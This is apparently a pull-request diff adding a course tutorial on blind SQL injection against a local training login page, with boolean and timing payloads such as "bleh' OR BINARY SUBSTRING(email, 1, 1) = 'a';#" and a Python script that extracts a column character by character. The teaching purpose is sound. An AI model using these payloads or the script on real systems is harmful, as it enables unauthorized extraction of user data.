Skip to content

Shells #4

Merged
merged 4 commits into from Jul 15, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
275 changes: 275 additions & 0 deletions docs/SQLi/BlindSQL.md
@@ -0,0 +1,275 @@
---
title: Blind SQL Injection
tags:
- SQL Injection
- SQL Enumeration
- Blind SQL
- Binary Search
---

# Blind SQL Injection

Blind SQL injection attacks are where the server is vulnerable to SQLi,
But the responses don't directly contain the results of the SQL Query.


This means that the [techniques for enumeration](DatabaseEnumeration.md) we discussed previously are not effective, as we are unable to see the results within the page response.
However, it is still possible to exploit the SQL injection vulnerability, with different techniques.

## A General Approach.

Lets go back to the login page on the web trainer, as discussed in the SQLI article in Web Security Module.

We know that we can break the query to login as different users with the ```1=1``` trick, and by using ```LIMIT``` and various ```OFFSETS``` we can change the user that we are able to login as.

The thing of interest here is the different response types, with different messages for a successful, and unsuccessful login.
Having this True or False response to the query is enough for us to exploit the blind SQLI injection vulnerability. We can retrieve information by examining the responses to a injected condition, and extract data.


Lets imagine we have a simple database table that looks like this

| id | username |
| --- | -------- |
| 1 | dan |
| 2 | james |

And the Corresponding query of:

```
SELECT * FROM table WHERE username = {input}
```

- If we have an existing user then the database will return the matching row (SUCCESS)
- Otherwise we get no data back (FAIL)

We could start to infer user details by guessing elements of the username on a letter by letter basis.

| Letter | Result |
| ------------------ | ------ |
| username[0] == "c" | False |
| username[0] == "d" | True |
| username[0] == "e" | False |


In SQL the ```SUBSTRING(column, offset, length)```[^substring] query allows us examine elements of the query results. Note that the **offset** starts at index 1, rather than the usual zero index we get is most sane programming languages.

In a mySQL style database we could do this with something like:

| Query | Result |
| -------------------------------------------------- | ------ |
| ```SELECT * FROM table WHERE SUBSTRING(username, 1, 1) = 'c' ``` | False |
| ```SELECT * FROM table WHERE SUBSTRING(username, 1, 1) = 'd' ``` | True |
| ```SELECT * FROM table WHERE SUBSTRING(username, 1, 1) = 'e' ``` | False |


We can see that the result of the query, becomes true when we find the relevant matching character

Once we have inferred this we can expand the query to start matching the next character, and so on.

| Query | Result |
| -------------------------------------------------- | ------ |
| ```SELECT * FROM table WHERE SUBSTRING(username, 2, 1) = 'a' ``` | True |
| ```SELECT * FROM table WHERE SUBSTRING(username, 2, 1) = 'b' ``` | False |

!!! warning "Gotcha warning"

We are keeing the query above simple to demonstrate the concept.

As my SQL is not case sensitive, we get a match for both

- ```SELECT * FROM table WHERE SUBSTRING(username, 1, 1) = 'd' ```
- ```SELECT * FROM table WHERE SUBSTRING(username, 1, 1) = 'D' ```

While this may not matter when we are making further queiries to the database (as all queries are case insensitive), it might matter if we are trying to leak details used in other case sensitive systems.

The **BINARY** operator forces the query to work in a case sensitive way.

| Query | Result |
| -------------------------------------------------- | ------ |
| ```SELECT * FROM table WHERE BINARY SUBSTRING(username, 1, 1) = 'D' ``` | False |
| ```SELECT * FROM table WHERE BINARY SUBSTRING(username, 1, 1) = 'd' ``` | True |


This concept of using a True or False result, to exfiltrate data on a item by item basis,
is the trick behind blind SQL injection.




### Going back to our login Page

In the previous article we looked at how we can use SQL injection to bypass
a login page.

While this is really useful (in the case of bypassing logins), we are only getting a true
or false response from the server, meaning that we are not able to "leak" any information, such as usernames.

Using the general approach described above, we can use Blind SQL injection to get the email addresses of the users in the table

!!! note

This does rely on us having "Magical" knowlege of the database structure to build our queries. We would have to guess, or leak the relevant database columns.


Our Proof Of Concept query is going to be something like

```
SELECT * FROM hashuser WHERE BINARY SUBSTRING(email, {index}, 1) = '{guess}'
```

As the values we are submitting is part of an already existing query. We need to
modify the payload to be

```
bleh' OR BINARY SUBSTRING(email, {index}, 1) = {letter};#
```

!!! example

Trying this with different inputs gives us the following results[^curses]

### A Successful Result

The Input
```
bleh' OR BINARY SUBSTRING(email, 1, 1) = 'a';#
```

Gives us the following "Success" message.

![Blind Injection of 'a'](images/BlindA.png)


### Unsuccessful Result

But using 'b' as our input gives us a failure message.

```
bleh' OR BINARY SUBSTRING(email, 1, 1) = 'b';#
```

![Blind Injection of 'b'](images/BlindB.png)


Once we have inferred each letter, we can continue working through the input by expanding our subquery,
and looking for the next one.

```
bleh' OR BINARY SUBSTRING(email, 1, 2) = 'aa';#
bleh' OR BINARY SUBSTRING(email, 1, 2) = 'ab';#
```

Then

```
bleh' OR BINARY SUBSTRING(email, 1, 3) = 'ana';#
bleh' OR BINARY SUBSTRING(email, 1, 3) = 'anb';#
```


!!! question

Why do we increase the length of the substring, rather than the index we start at?
What errors might we get if we used an input like

```
bleh' OR BINARY SUBSTRING(email, 2,1) = 'a';#
```

Take a look at the output of the login page to help you understand why.

### Automation with Python

Automation is really useful here, as it saves the ++ctrl+c++ and ++ctrl+v++ keys.

Below is some python code that will let us search for a given password

```
import requests
import string
URL = "http://127.0.0.1/sqli_login.php"
def forceLetter(known):
"""
Brute force a password through blind SQL injection
@param known: If we know any existing password elements
"""
#Lowercase only
for letter in string.ascii_lowercase:
#Build up the input string
pwString = f"{known}{letter}"
pwLen = len(pwString)
logging.debug("Checking %s", pwString)
#SQL Statement
sql = f"bleh' OR SUBSTRING(email, 1, {pwLen}) = '{pwString}';#"
logging.debug("SQL is %s", sql)
#Build our input
data = {"fm-username": sql,
"fm-pass" : ""}
r = requests.get(URL, params = data)
#Check for Match
if "No such user or password" in r.text:
logging.debug("No Match")
else:
logging.debug("Match found")
return pwString
if __name__ == "__main__":
import logging
logging.basicConfig(level=logging.DEBUG)
knownPw = "a"
out = forceLetter(knownPw)
print(f"Match found {out}")
```

Its also possible to do this in Burp suite using the [repeater](https://portswigger.net/burp/documentation/desktop/tools/repeater)

!!! task

The Code only deals with lowercase letters, and also needs us to supply input for each charachter.
Modify the Code to make it automatically infer a password.


## Blind SQL without direct feedback.

In some situations, the Query may be carried out, but the application will not behave any differently regardless of the success / failure of the query.

Even if no information is reflected to the user, it may sill be possible to use the Blind SQL approach to infer the contents of the DB.

We will go through a couple of examples here, Portswiggers excellent [SQL Injection Cheat Sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet) provides details of other approaches.

### Blind SQL through Errors

One way is to try to force a database error depending on the success of the query.

We can try to force an error in one of these situations which may make the system return a different response. The [CASE](https://www.w3schools.com/sql/sql_case.asp) statement is useful for this, as can the IF statement in mySQL

### Blind SQL Through Timing

We can also force the database to do an action that takes time to complete, by measuring the response time it can be possible to infer the query status.

Again, various ways exist of doing this, but the ```SLEEP``` function works well in many DB engines.


An Example of doing this in our Login form is the input

```
bleh' OR (SELECT IF (substring(email,1,1) = 'a', sleep(2),'aaaa'));#
```


[^substring]: Depending on the database engine this may be ```SUBSTR```. Portswigger excellent [SQL Injection Cheat Sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet) is perfect for helping with these details.
[^curses]: This is where I curse myself for having an 'a' in the database column and getting a positive result before a negative one.